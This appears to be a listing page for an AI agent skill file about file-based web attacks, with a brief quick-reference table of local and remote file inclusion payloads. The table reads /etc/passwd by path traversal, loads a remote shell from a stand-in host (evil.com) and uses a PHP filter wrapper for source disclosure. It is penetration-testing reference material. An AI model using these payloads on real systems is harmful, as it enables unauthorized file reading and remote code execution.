File Attacks

Skills for file-based web attacks including local and remote file inclusion.

omkar-ukirde Updated

File contents

File-Based Attacks

Exploiting file handling vulnerabilities in web applications.

Skills

  • File Inclusion - LFI/RFI exploitation

Quick Reference

Type Payload Impact
LFI ../../../etc/passwd File read
RFI http://evil.com/shell.php RCE
PHP Wrapper php://filter/convert.base64-encode Source disclosure

omkar-ukirde/Cyber-Security-Agent-skills/tree/main/skills/web/file-attacks commit db2039b11a

Frequently asked questions

npx skillmds@latest add omkar-ukirde/file-attacks